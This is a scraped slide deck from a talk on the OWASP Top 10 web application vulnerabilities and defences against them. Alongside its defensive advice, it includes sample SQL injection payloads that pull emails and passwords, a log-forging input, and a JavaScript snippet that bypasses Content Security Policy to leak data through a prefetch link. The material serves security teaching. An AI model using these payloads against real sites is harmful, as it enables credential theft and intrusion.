SlideShare a Scribd company logo
1 of 54
www.luxoft.com
OWASP TOP 10
typical attacks on web applications and
protection
Dmytro Kochergin
www.luxoft.com
Motivation
● “Рассказ о том, как я ворую номера кредиток и пароли у посетителей ваших
сайтов” (source)
● Several security audits
○ Burp suite
○ SQLMAP
● Penetration testers
www.luxoft.com
Goal
● Сomplicate hacking of application as much as possible
○ System can be compromised any time, even when you are logged in
○ You don’t know vulnerabilities until they are fired
○ Even worldwide systems regularly compromised (Apple, Tesla, ...)
www.luxoft.com
What is OWASP
Non-profit organization, project that began as an
enthusiast's idea, and became the most
authoritative source for classifying attack vectors
and vulnerabilities in web applications.
www.luxoft.com
OWASP Top 10
1. Injection
2. Broken Authentication
3. Sensitive Data Exposure
4. External Entities (XXE)
5. Broken Access Control
6. Security Misconfiguration
7. Cross-Site Scripting (XSS)
8. Insecure Deserialization
9. Using Components with Known Vulnerabilities
10. Insufficient Logging & Monitoring
www.luxoft.com
1. Injection
1. # SQL query vulnerable to SQL Injection
sql = “SELECT id FROM users WHERE username=’” + username + “’ AND password=’” + password +
“’”
1. # Injection
password' OR 1=1
1. # Modified query
SELECT id FROM users WHERE username='username' AND password='password' OR 1=1
www.luxoft.com
1. Injection
1. # SQL query vulnerable to UNION SQL Injection
sql = “SELECT email, first_name FROM users WHERE id = ” + id
1. # Injection
1 UNION SELECT email, password FROM users
1 UNION SELECT 1,1,1 FROM all_tables
1 UNION SELECT 1,1,1 FROM information_schema.tables
1. # Modified query
SELECT email, first_name FROM users WHERE id = 1 UNION SELECT email, password FROM users
www.luxoft.com
1. Injection
www.luxoft.com
1. Injection: How to Prevent
Primary Defenses:
● Use of Prepared Statements (with Parameterized Queries)
● Use of Stored Procedures
● Whitelist Input Validation
● Escaping All User Supplied Input
Additional Defenses:
● Enforcing Least Privilege to application DB account
● Performing Whitelist Input Validation as a Secondary Defense
www.luxoft.com
2. Broken Authentication: How to Prevent
● Multi-factor authentication.
● No default credentials, particularly for admin users.
● Weak-password checks, such as testing against top 10000 worst passwords.
● Align password length, complexity and rotation policies with NIST 800-63 B's
guidelines in section 5.1.1 for Memorized Secrets or other modern, evidence based
password policies.
www.luxoft.com
Authentication: Password strength
1. Password must meet at least 3 out of the following 4 complexity rules
a. at least 1 uppercase character (A-Z)
b. at least 1 lowercase character (a-z)
c. at least 1 digit (0-9)
d. at least 1 special character (punctuation) — treat space as special characters
too
e. No dictionary words, no names or close words
2. at least 10 characters
3. at most 128 characters
4. not more than 2 identical characters in a row (e.g., 111 not allowed)
5. password should be changed every 90 days??
6. last 10 passwords may not be reused
www.luxoft.com
Authentication: User lockout
User should be locked after 3-5 invalid logins - prevents brute force attack
www.luxoft.com
2. Broken Authentication: How to Prevent
● Use same messages for all login errors
"Login for User foo: invalid password"
"Login failed, invalid user ID"
"Login failed; account disabled"
"Login failed; this user is not active"
"Login failed; Invalid userID or password"
www.luxoft.com
2. Broken Authentication: How to Prevent
● Limit or increasingly delay failed login attempts. Log all failures and alert
administrators when credential stuffing, brute force, or other attacks are detected.
● Use a server-side, secure, built-in session manager that generates a new
randomsession ID with high entropy after login. Session IDs should not be in the
URL, be securely stored and invalidated after logout, idle, and absolute timeouts.
www.luxoft.com
3. Sensitive Data Exposure: How to Prevent
1. Do not log it (including stacktraces)
2. Encrypt all data, also in transit with secure protocols such as TLS (HSTS)
3. Store passwords using strong adaptive and salted hashing functions with a work factor (delay factor),
such as:
a. Argon2- OWASP recommended
b. PBKDF2 - when FIPS certification or enterprise support on many platforms is required
i. FIPS (Federal Information Processing Standard) - U.S. government computer security
standard used to approve cryptographic modules.
c. Scrypt - when resisting any/all hardware accelerated attacks is necessary but support isn’t
d. Bcrypt - where PBKDF2 or Scrypt support is not available.
e. Cryptographically strong credential-specific salt
i. return [salt] + pbkdf2([salt], [credential], c=[iteration_count]);
f. Work factor (delay factor) - run protect() as slow as possible without affecting the users.
www.luxoft.com
www.luxoft.com
www.luxoft.com
3. Sensitive Data Exposure:
www.luxoft.com
3. Sensitive Data Exposure: HTTP headers
www.luxoft.com
3. Sensitive Data Exposure: URLs
www.luxoft.com
3. Sensitive Data Exposure: Directory Listing
www.luxoft.com
4. External Entities (XXE)
1. Untrusted XML input containing a reference to an external entity is processed by a
weakly configured XML parser
a. XML Security Cheat Sheet
b. XML External Entity Prevention Cheat Sheet
www.luxoft.com
5. Broken Access Control: How to Prevent
Access Control / Authorization - grant or deny access to particular resource.
1. Deny by default, except public resources
2. Send all requests through the access control system
3. Minimum privileges principle
4. Avoid hardcoded roles
5. Log everything
6. Use Access Control Policy:
a. Role Based Access Control (RBAC);
b. Permission Based Access Control (PBAC / ABAC);
c. Discretionary Access Control (DAC);
d. Mandatory Access Control (MAC).
www.luxoft.com
6. Security Misconfiguration
● Remove default accounts, unused pages, unprotected files and
directories
● Remove or do not install unused features and frameworks
● Error handling hides stack traces
● Software and dependencies should be up-to-date
● Latest security features should be enabled and configured securely
● Minimum privileges principle
www.luxoft.com
7. Cross-Site Scripting (XSS)
www.luxoft.com
7. Cross-Site Scripting (XSS)
www.luxoft.com
7. Cross-Site Scripting (XSS)
XSS methods:
● Session hijacking
● Form data theft
● DDoS-attack
● CSRF/XSRF
● Social networks XSS-worms
● Google Analytics and counters
www.luxoft.com
7. Cross-Site Scripting (XSS): How to Prevent
● Using frameworks that automatically escape XSS by design, such as the latest Ruby
on Rails, React JS. Learn the limitations of each framework's XSS protection and
appropriately handle the use cases which are not covered (XSS is React)
○ Don’t ever use eval() or dangerouslySetInnerHTML
○ Avoid parsing user-supplied JSON.
● Validate Before Inserting Untrusted Data into HTML (+ escaping)
● Use HTTPOnly cookie flag - JS code cannot read cookie value.
● Enabling a Content Security Policy (CSP)
○ Content-Security-Policy: default-src: 'self'; script-src: 'self' static.domain;
frame-ancestors 'none'
○ More powerful than X-Frame-Options.
www.luxoft.com
Content Security Policy
CSP workaround:
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
www.luxoft.com
Session hijacking
www.luxoft.com
1. HTTPS
2. Use client fingerprint
3. Terminate session if fingerprint changed (+ logging + notification)
4. Additional
a. Logout button should be available
b. Renew session ID after any privilege level change
c. Automatic session expiration, both on client idle time and absolute timeout
d. Force session logout on web browser window close events
e. Alert and deauthorize old session ID if simultaneous logins are detected
f. Alert and deauthorize old session ID if user is deactivated
g. Disable web browser cross-tab sessions
h. Protect session ID cookie with flags: HttpOnly + Secure + SameSite + cookie
prefixes
i. Log any authentication/authorization actions
Session hijacking: How to Prevent
www.luxoft.com
Log Injection
Attacker may be able to insert false entries into the log
String val = request.getParameter("val");
try {
int value = Integer.parseInt(val);
}
catch (NumberFormatException) {
log.info("Failed to parse val = " + val);
}
● val = "twenty-one"
INFO: Failed to parse val=twenty-one
● val = "twenty-one%0a%0aINFO:+User+logged+out%3dbadguy"
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
www.luxoft.com
8. Insecure Deserialization
1. Attacker modifies application logic or achieves arbitrary remote code execution
2. Existing data structures are used but the content is changed
www.luxoft.com
9. Using Components with Known Vulnerabilities
1. Use libraries and frameworks from trusted sources that actively developed and
widely used in applications
a. maintain catalog of third-party libraries;
b. timely update libraries and components.
2. Use automatic dependencies check tools such as
a. OWASP Dependency Check
b. Retire.JS
www.luxoft.com
10. Insufficient Logging & Monitoring
1. All login, access control failures, and server-side input validation failures should be
logged
2. Logs should be gathered using centralized log management solutions
3. High-value transactions should have an audit trail
4. Effective monitoring and alerting such that suspicious activities
www.luxoft.com
Cross-Site Request Forgery (CSRF)
CSRF - Web application can not verify whether a well-formed, valid, consistent request
was intentionally provided by the user who submitted the request.
Malicious site instructs a victim's browser to send a request to an honest site, as if the
request were part of the victim's interaction with the honest site.
www.luxoft.com
Cross-Site Request Forgery (CSRF)
www.luxoft.com
Cross-Site Request Forgery (CSRF)
An active exploit of CSRF against residential ADSL routers in Mexico in early 2008
An e-mail with a malicious IMG tag was sent to victims. By accessing the image in the
mail, the user initiated a router command to change the DNS entry of a leading Mexican
bank, making any subsequent access by a user to the bank go through the attacker's
server.
www.luxoft.com
Cross-Site Request Forgery (CSRF): How to Prevent
1. Token Based Mitigation
a. Synchronizer Token Pattern (server-side)
b. Encryption based Token Pattern (client side)
c. HMAC Based Token Pattern (client side)
2. Origin/Referer header (server-side)
3. Custom Request Headers
www.luxoft.com
Cross-Site Request Forgery (CSRF)
- Do I need CSRF token if I'm using Bearer JWT?
- No, if token is not sent in cookies
If submitting Token via XHR as an Authorization header, then no the extra X-XSRF-Token
header will not add "extra" security.
www.luxoft.com
JSON Web Tokens (JWT)
www.luxoft.com
Asymmetric key encryption (public/private key)
www.luxoft.com
HTTPS
www.luxoft.com
JWT attacks
1. Token sidejacking
a. Add fingerprint information to the token.
i. Random string to be included into the token to hardened cookie that is
received from server (flags: HttpOnly + Secure + SameSite + cookie
prefixes).
ii. A SHA256 hash of the random string will be stored in the token.
iii. Do not use IP-addresses, which can change on mobile devices, etc
2. Token explicit revocation by the user
a. Use JWT library with token blacklisting
www.luxoft.com
JWT attacks
3. Incorrect Token storage on client side
a. Do not store token in cookies and localStorage
i. Cookies are vulnerable to CSRF
ii. LocalStorage is vulnerable to XSS.
b. Store the token in browser sessionStorage.
c. Add it as a Authorization Bearer HTTP header.
i. Authorization: Bearer <token>
d. Add fingerprint information to the token.
4. Token weak secret
a. Use more than 50 symbols secret
i. A&'/}Z57M(2hNg=;LE?~]YtRMS5(yZ<vcZTA3N-($>2j:ZeX-
BGftaVk`)jKP~q?,jk)EMbgt*kW'
www.luxoft.com
Clickjacking
www.luxoft.com
Clickjacking: How to Prevent
1. Content Security Policy (CSP)
2. X-Frame-Options: deny
3. Defensive code in the UI to ensure that the current frame is the most
top level window
www.luxoft.com
Clickjacking
Best-for-now Legacy Browser Frame Breaking Script:
<style id="antiClickjack">
body{display:none !important;}
</style>
<!-- ======================================== -->
<script type="text/javascript">
if (self === top) {
var antiClickjack = document.getElementById("antiClickjack");
antiClickjack.parentNode.removeChild(antiClickjack);
} else {
top.location = self.location;
}
</script>
www.luxoft.com
Clickjacking
Insecure Non-Working Scripts DO NOT USE:
<script>
if (top!=self) top.location.href=self.location.href
</script>
Ways to break this code:
1. Double Framing
2. onBeforeUnload event
3. No-Content Flushing
4. Exploiting XSS filters
5. Clobbering top.location
6. Restricted zones
www.luxoft.com
Further reading
1. OWASP/Owasp-top-10-proactive-controls
2. OWASP/CheatSheetSeries
www.luxoft.com
How to defend
1. Processes:
a. Secure development lifecycle (SDL, developed by Microsoft)
b. Product security team / penetration testers
c. Team trainings + external (IOActive advisory services)
d. Static code analysis (Tools and Software)
e. Crowdfunding / Rewards Program
2. External security audits
www.luxoft.com
Tools
Free
1. OWASP ZAP
2. Nmap
3. Metasploit
4. SQLmap
5. Wireshark
6. Ettercap
7. BeEF
8. Tenable.io
9. Paros
10. W9scan
11. Wapiti
12. Arachni
13. Paros
💲
1. Coverity (C#)
2. Burp suite Pro
3. Acunetix
4. Charles
5. Veracode
www.luxoft.com
Links
1. Чем искать уязвимости веб-приложений: сравниваем восемь популярных
сканеров
2. Как провести тестирование на безопасность: руководство для Manual QA
www.luxoft.com
Thank you!
dimakoch@ukr.net

More Related Content

What's hot

HTTP Security Headers Every Java Developer Must Know
HTTP Security Headers Every Java Developer Must KnowHTTP Security Headers Every Java Developer Must Know
HTTP Security Headers Every Java Developer Must KnowAyoma Wijethunga
 
Java EE 6 Security in practice with GlassFish
Java EE 6 Security in practice with GlassFishJava EE 6 Security in practice with GlassFish
Java EE 6 Security in practice with GlassFishMarkus Eisele
 
Top Ten Web Hacking Techniques (2008)
Top Ten Web Hacking Techniques (2008)Top Ten Web Hacking Techniques (2008)
Top Ten Web Hacking Techniques (2008)Jeremiah Grossman
 
Secure code
Secure codeSecure code
Secure codeddeogun
 
Hacking intranet websites
Hacking intranet websitesHacking intranet websites
Hacking intranet websitesshehab najjar
 
Introduction to Web Application Security - Blackhoodie US 2018
Introduction to Web Application Security - Blackhoodie US 2018Introduction to Web Application Security - Blackhoodie US 2018
Introduction to Web Application Security - Blackhoodie US 2018Niranjanaa Ragupathy
 
Abusing & Securing XPC in macOS apps
Abusing & Securing XPC in macOS appsAbusing & Securing XPC in macOS apps
Abusing & Securing XPC in macOS appsSecuRing
 
Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012Jeremiah Grossman
 
Security vulnerabilities - 2018
Security vulnerabilities - 2018Security vulnerabilities - 2018
Security vulnerabilities - 2018Marius Vorster
 
(In) Security graph database in real world
(In) Security graph database in real world (In) Security graph database in real world
(In) Security graph database in real world Miguel Hernández Boza
 
Defeating xss-and-xsrf-with-my faces-frameworks-steve-wolf
Defeating xss-and-xsrf-with-my faces-frameworks-steve-wolfDefeating xss-and-xsrf-with-my faces-frameworks-steve-wolf
Defeating xss-and-xsrf-with-my faces-frameworks-steve-wolfdrewz lin
 
Modern Web Application Defense
Modern Web Application DefenseModern Web Application Defense
Modern Web Application DefenseFrank Kim
 
Testing Android Security Codemotion Amsterdam edition
Testing Android Security Codemotion Amsterdam editionTesting Android Security Codemotion Amsterdam edition
Testing Android Security Codemotion Amsterdam editionJose Manuel Ortega Candel
 
Toni de la Fuente - Automate or die! How to survive to an attack in the Cloud...
Toni de la Fuente - Automate or die! How to survive to an attack in the Cloud...Toni de la Fuente - Automate or die! How to survive to an attack in the Cloud...
Toni de la Fuente - Automate or die! How to survive to an attack in the Cloud...RootedCON
 
Triển khai Modsecurity vào hệ thống NMS - Quan Minh Tâm
Triển khai Modsecurity vào hệ thống NMS - Quan Minh TâmTriển khai Modsecurity vào hệ thống NMS - Quan Minh Tâm
Triển khai Modsecurity vào hệ thống NMS - Quan Minh TâmSecurity Bootcamp
 
[OPD 2019] Side-Channels on the Web:
Attacks and Defenses
[OPD 2019] Side-Channels on the Web:
Attacks and Defenses[OPD 2019] Side-Channels on the Web:
Attacks and Defenses
[OPD 2019] Side-Channels on the Web:
Attacks and DefensesOWASP
 
Neoito — Secure coding practices
Neoito — Secure coding practicesNeoito — Secure coding practices
Neoito — Secure coding practicesNeoito
 
Html5 localstorage attack vectors
Html5 localstorage attack vectorsHtml5 localstorage attack vectors
Html5 localstorage attack vectorsShreeraj Shah
 

What's hot (20)

HTTP Security Headers Every Java Developer Must Know
HTTP Security Headers Every Java Developer Must KnowHTTP Security Headers Every Java Developer Must Know
HTTP Security Headers Every Java Developer Must Know
 
Java EE 6 Security in practice with GlassFish
Java EE 6 Security in practice with GlassFishJava EE 6 Security in practice with GlassFish
Java EE 6 Security in practice with GlassFish
 
Top Ten Web Hacking Techniques (2008)
Top Ten Web Hacking Techniques (2008)Top Ten Web Hacking Techniques (2008)
Top Ten Web Hacking Techniques (2008)
 
Secure code
Secure codeSecure code
Secure code
 
Hacking intranet websites
Hacking intranet websitesHacking intranet websites
Hacking intranet websites
 
Introduction to Web Application Security - Blackhoodie US 2018
Introduction to Web Application Security - Blackhoodie US 2018Introduction to Web Application Security - Blackhoodie US 2018
Introduction to Web Application Security - Blackhoodie US 2018
 
Abusing & Securing XPC in macOS apps
Abusing & Securing XPC in macOS appsAbusing & Securing XPC in macOS apps
Abusing & Securing XPC in macOS apps
 
Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012
 
Security vulnerabilities - 2018
Security vulnerabilities - 2018Security vulnerabilities - 2018
Security vulnerabilities - 2018
 
The Security Code Review Guide
The Security Code Review GuideThe Security Code Review Guide
The Security Code Review Guide
 
(In) Security graph database in real world
(In) Security graph database in real world (In) Security graph database in real world
(In) Security graph database in real world
 
Web Apps Security
Web Apps SecurityWeb Apps Security
Web Apps Security
 
Defeating xss-and-xsrf-with-my faces-frameworks-steve-wolf
Defeating xss-and-xsrf-with-my faces-frameworks-steve-wolfDefeating xss-and-xsrf-with-my faces-frameworks-steve-wolf
Defeating xss-and-xsrf-with-my faces-frameworks-steve-wolf
 
Modern Web Application Defense
Modern Web Application DefenseModern Web Application Defense
Modern Web Application Defense
 
Testing Android Security Codemotion Amsterdam edition
Testing Android Security Codemotion Amsterdam editionTesting Android Security Codemotion Amsterdam edition
Testing Android Security Codemotion Amsterdam edition
 
Toni de la Fuente - Automate or die! How to survive to an attack in the Cloud...
Toni de la Fuente - Automate or die! How to survive to an attack in the Cloud...Toni de la Fuente - Automate or die! How to survive to an attack in the Cloud...
Toni de la Fuente - Automate or die! How to survive to an attack in the Cloud...
 
Triển khai Modsecurity vào hệ thống NMS - Quan Minh Tâm
Triển khai Modsecurity vào hệ thống NMS - Quan Minh TâmTriển khai Modsecurity vào hệ thống NMS - Quan Minh Tâm
Triển khai Modsecurity vào hệ thống NMS - Quan Minh Tâm
 
[OPD 2019] Side-Channels on the Web:
Attacks and Defenses
[OPD 2019] Side-Channels on the Web:
Attacks and Defenses[OPD 2019] Side-Channels on the Web:
Attacks and Defenses
[OPD 2019] Side-Channels on the Web:
Attacks and Defenses
 
Neoito — Secure coding practices
Neoito — Secure coding practicesNeoito — Secure coding practices
Neoito — Secure coding practices
 
Html5 localstorage attack vectors
Html5 localstorage attack vectorsHtml5 localstorage attack vectors
Html5 localstorage attack vectors
 

Similar to Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications and How to Protect Against Them"

Truetesters presents OWASP Top 10 Web Vulnerability
Truetesters presents OWASP Top 10 Web VulnerabilityTruetesters presents OWASP Top 10 Web Vulnerability
Truetesters presents OWASP Top 10 Web VulnerabilityTrueTesters
 
2013 OWASP Top 10
2013 OWASP Top 102013 OWASP Top 10
2013 OWASP Top 10bilcorry
 
Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Moataz Kamel
 
Owasp top 10_openwest_2019
Owasp top 10_openwest_2019Owasp top 10_openwest_2019
Owasp top 10_openwest_2019Sean Jackson
 
Insecurity-In-Security version.1 (2010)
Insecurity-In-Security version.1 (2010)Insecurity-In-Security version.1 (2010)
Insecurity-In-Security version.1 (2010)Abhishek Kumar
 
Cm2 secure code_training_1day_data_protection
Cm2 secure code_training_1day_data_protectionCm2 secure code_training_1day_data_protection
Cm2 secure code_training_1day_data_protectiondcervigni
 
Shields up - improving web application security
Shields up - improving web application securityShields up - improving web application security
Shields up - improving web application securityKonstantin Mirin
 
Top Ten Proactive Web Security Controls v5
Top Ten Proactive Web Security Controls v5Top Ten Proactive Web Security Controls v5
Top Ten Proactive Web Security Controls v5Jim Manico
 
Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2Jim Manico
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxFernandoVizer
 
Web security for developers
Web security for developersWeb security for developers
Web security for developersSunny Neo
 
CS166 Final project
CS166 Final projectCS166 Final project
CS166 Final projectKaya Ota
 
Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelinesZakaria SMAHI
 
OWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript DevelopersOWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript DevelopersLewis Ardern
 
Problems with parameters b sides-msp
Problems with parameters b sides-mspProblems with parameters b sides-msp
Problems with parameters b sides-mspMike Saunders
 

Similar to Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications and How to Protect Against Them" (20)

Truetesters presents OWASP Top 10 Web Vulnerability
Truetesters presents OWASP Top 10 Web VulnerabilityTruetesters presents OWASP Top 10 Web Vulnerability
Truetesters presents OWASP Top 10 Web Vulnerability
 
2013 OWASP Top 10
2013 OWASP Top 102013 OWASP Top 10
2013 OWASP Top 10
 
Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020
 
Owasp top 10_openwest_2019
Owasp top 10_openwest_2019Owasp top 10_openwest_2019
Owasp top 10_openwest_2019
 
Insecurity-In-Security version.1 (2010)
Insecurity-In-Security version.1 (2010)Insecurity-In-Security version.1 (2010)
Insecurity-In-Security version.1 (2010)
 
Web vulnerabilities
Web vulnerabilitiesWeb vulnerabilities
Web vulnerabilities
 
OWASP Top 10 2017
OWASP Top 10 2017OWASP Top 10 2017
OWASP Top 10 2017
 
Cm2 secure code_training_1day_data_protection
Cm2 secure code_training_1day_data_protectionCm2 secure code_training_1day_data_protection
Cm2 secure code_training_1day_data_protection
 
Shields up - improving web application security
Shields up - improving web application securityShields up - improving web application security
Shields up - improving web application security
 
Top Ten Proactive Web Security Controls v5
Top Ten Proactive Web Security Controls v5Top Ten Proactive Web Security Controls v5
Top Ten Proactive Web Security Controls v5
 
Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
 
Web security for developers
Web security for developersWeb security for developers
Web security for developers
 
CS166 Final project
CS166 Final projectCS166 Final project
CS166 Final project
 
Spa Secure Coding Guide
Spa Secure Coding GuideSpa Secure Coding Guide
Spa Secure Coding Guide
 
Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelines
 
Owasp top 10 2013
Owasp top 10 2013Owasp top 10 2013
Owasp top 10 2013
 
OWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript DevelopersOWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript Developers
 
Flipping the script
Flipping the scriptFlipping the script
Flipping the script
 
Problems with parameters b sides-msp
Problems with parameters b sides-mspProblems with parameters b sides-msp
Problems with parameters b sides-msp
 

More from LogeekNightUkraine

Autonomous driving on your developer pc. technologies, approaches, future
Autonomous driving on your developer pc. technologies, approaches, futureAutonomous driving on your developer pc. technologies, approaches, future
Autonomous driving on your developer pc. technologies, approaches, futureLogeekNightUkraine
 
Orkhan Gasimov "High Performance System Design"
Orkhan Gasimov "High Performance System Design" Orkhan Gasimov "High Performance System Design"
Orkhan Gasimov "High Performance System Design" LogeekNightUkraine
 
Vitalii Korzh "Managed Workflows or How to Master Data"
Vitalii Korzh "Managed Workflows or How to Master Data" Vitalii Korzh "Managed Workflows or How to Master Data"
Vitalii Korzh "Managed Workflows or How to Master Data" LogeekNightUkraine
 
Yevhen Tatarynov "From POC to High-Performance .NET applications"
Yevhen Tatarynov "From POC to High-Performance .NET applications"Yevhen Tatarynov "From POC to High-Performance .NET applications"
Yevhen Tatarynov "From POC to High-Performance .NET applications"LogeekNightUkraine
 
Oleksii Kuchuk "Reading gauge values with open cv imgproc"
Oleksii Kuchuk "Reading gauge values with open cv imgproc"Oleksii Kuchuk "Reading gauge values with open cv imgproc"
Oleksii Kuchuk "Reading gauge values with open cv imgproc"LogeekNightUkraine
 
Oleksandr Kutsan "Using katai struct to describe the process of working with ...
Oleksandr Kutsan "Using katai struct to describe the process of working with ...Oleksandr Kutsan "Using katai struct to describe the process of working with ...
Oleksandr Kutsan "Using katai struct to describe the process of working with ...LogeekNightUkraine
 
Pavlo Zhdanov "Mastering solid and base principles for software design"
Pavlo Zhdanov "Mastering solid and base principles for software design"Pavlo Zhdanov "Mastering solid and base principles for software design"
Pavlo Zhdanov "Mastering solid and base principles for software design"LogeekNightUkraine
 
Serhii Zemlianyi "Error Retries with Exponential Backoff Using RabbitMQ"
Serhii Zemlianyi "Error Retries with Exponential Backoff Using RabbitMQ"Serhii Zemlianyi "Error Retries with Exponential Backoff Using RabbitMQ"
Serhii Zemlianyi "Error Retries with Exponential Backoff Using RabbitMQ"LogeekNightUkraine
 
Iurii Antykhovych "Java and performance tools and toys"
Iurii Antykhovych "Java and performance tools and toys"Iurii Antykhovych "Java and performance tools and toys"
Iurii Antykhovych "Java and performance tools and toys"LogeekNightUkraine
 
Eugene Bova "Dapr (Distributed Application Runtime) in a Microservices Archit...
Eugene Bova "Dapr (Distributed Application Runtime) in a Microservices Archit...Eugene Bova "Dapr (Distributed Application Runtime) in a Microservices Archit...
Eugene Bova "Dapr (Distributed Application Runtime) in a Microservices Archit...LogeekNightUkraine
 
Aleksandr Kutsan "Managing Dependencies in C++"
Aleksandr Kutsan "Managing Dependencies in C++"Aleksandr Kutsan "Managing Dependencies in C++"
Aleksandr Kutsan "Managing Dependencies in C++"LogeekNightUkraine
 
Yevhen Tatarynov "My .NET Application Allocates too Much Memory. What Can I Do?"
Yevhen Tatarynov "My .NET Application Allocates too Much Memory. What Can I Do?"Yevhen Tatarynov "My .NET Application Allocates too Much Memory. What Can I Do?"
Yevhen Tatarynov "My .NET Application Allocates too Much Memory. What Can I Do?"LogeekNightUkraine
 
Alexandr Golyak, Nikolay Chertkov "Automotive Testing vs Test Automatio"
Alexandr Golyak, Nikolay Chertkov  "Automotive Testing vs Test Automatio"Alexandr Golyak, Nikolay Chertkov  "Automotive Testing vs Test Automatio"
Alexandr Golyak, Nikolay Chertkov "Automotive Testing vs Test Automatio"LogeekNightUkraine
 
Michal Kordas "Docker: Good, Bad or Both"
Michal Kordas "Docker: Good, Bad or Both"Michal Kordas "Docker: Good, Bad or Both"
Michal Kordas "Docker: Good, Bad or Both"LogeekNightUkraine
 
Kolomiyets Dmytro "Dealing with Multiple Caches, When Developing Microservices"
Kolomiyets Dmytro "Dealing with Multiple Caches, When Developing Microservices"Kolomiyets Dmytro "Dealing with Multiple Caches, When Developing Microservices"
Kolomiyets Dmytro "Dealing with Multiple Caches, When Developing Microservices"LogeekNightUkraine
 
Shestakov Illia "The Sandbox Theory"
Shestakov Illia "The Sandbox Theory"Shestakov Illia "The Sandbox Theory"
Shestakov Illia "The Sandbox Theory"LogeekNightUkraine
 
Dmytro Kochergin “Autotest with CYPRESS”
Dmytro Kochergin “Autotest with CYPRESS”Dmytro Kochergin “Autotest with CYPRESS”
Dmytro Kochergin “Autotest with CYPRESS”LogeekNightUkraine
 
Ivan Dryzhyruk “Ducks Don’t Like Bugs”
Ivan Dryzhyruk “Ducks Don’t Like Bugs”Ivan Dryzhyruk “Ducks Don’t Like Bugs”
Ivan Dryzhyruk “Ducks Don’t Like Bugs”LogeekNightUkraine
 

More from LogeekNightUkraine (20)

Face recognition with c++
Face recognition with c++ Face recognition with c++
Face recognition with c++
 
C++20 features
C++20 features C++20 features
C++20 features
 
Autonomous driving on your developer pc. technologies, approaches, future
Autonomous driving on your developer pc. technologies, approaches, futureAutonomous driving on your developer pc. technologies, approaches, future
Autonomous driving on your developer pc. technologies, approaches, future
 
Orkhan Gasimov "High Performance System Design"
Orkhan Gasimov "High Performance System Design" Orkhan Gasimov "High Performance System Design"
Orkhan Gasimov "High Performance System Design"
 
Vitalii Korzh "Managed Workflows or How to Master Data"
Vitalii Korzh "Managed Workflows or How to Master Data" Vitalii Korzh "Managed Workflows or How to Master Data"
Vitalii Korzh "Managed Workflows or How to Master Data"
 
Yevhen Tatarynov "From POC to High-Performance .NET applications"
Yevhen Tatarynov "From POC to High-Performance .NET applications"Yevhen Tatarynov "From POC to High-Performance .NET applications"
Yevhen Tatarynov "From POC to High-Performance .NET applications"
 
Oleksii Kuchuk "Reading gauge values with open cv imgproc"
Oleksii Kuchuk "Reading gauge values with open cv imgproc"Oleksii Kuchuk "Reading gauge values with open cv imgproc"
Oleksii Kuchuk "Reading gauge values with open cv imgproc"
 
Oleksandr Kutsan "Using katai struct to describe the process of working with ...
Oleksandr Kutsan "Using katai struct to describe the process of working with ...Oleksandr Kutsan "Using katai struct to describe the process of working with ...
Oleksandr Kutsan "Using katai struct to describe the process of working with ...
 
Pavlo Zhdanov "Mastering solid and base principles for software design"
Pavlo Zhdanov "Mastering solid and base principles for software design"Pavlo Zhdanov "Mastering solid and base principles for software design"
Pavlo Zhdanov "Mastering solid and base principles for software design"
 
Serhii Zemlianyi "Error Retries with Exponential Backoff Using RabbitMQ"
Serhii Zemlianyi "Error Retries with Exponential Backoff Using RabbitMQ"Serhii Zemlianyi "Error Retries with Exponential Backoff Using RabbitMQ"
Serhii Zemlianyi "Error Retries with Exponential Backoff Using RabbitMQ"
 
Iurii Antykhovych "Java and performance tools and toys"
Iurii Antykhovych "Java and performance tools and toys"Iurii Antykhovych "Java and performance tools and toys"
Iurii Antykhovych "Java and performance tools and toys"
 
Eugene Bova "Dapr (Distributed Application Runtime) in a Microservices Archit...
Eugene Bova "Dapr (Distributed Application Runtime) in a Microservices Archit...Eugene Bova "Dapr (Distributed Application Runtime) in a Microservices Archit...
Eugene Bova "Dapr (Distributed Application Runtime) in a Microservices Archit...
 
Aleksandr Kutsan "Managing Dependencies in C++"
Aleksandr Kutsan "Managing Dependencies in C++"Aleksandr Kutsan "Managing Dependencies in C++"
Aleksandr Kutsan "Managing Dependencies in C++"
 
Yevhen Tatarynov "My .NET Application Allocates too Much Memory. What Can I Do?"
Yevhen Tatarynov "My .NET Application Allocates too Much Memory. What Can I Do?"Yevhen Tatarynov "My .NET Application Allocates too Much Memory. What Can I Do?"
Yevhen Tatarynov "My .NET Application Allocates too Much Memory. What Can I Do?"
 
Alexandr Golyak, Nikolay Chertkov "Automotive Testing vs Test Automatio"
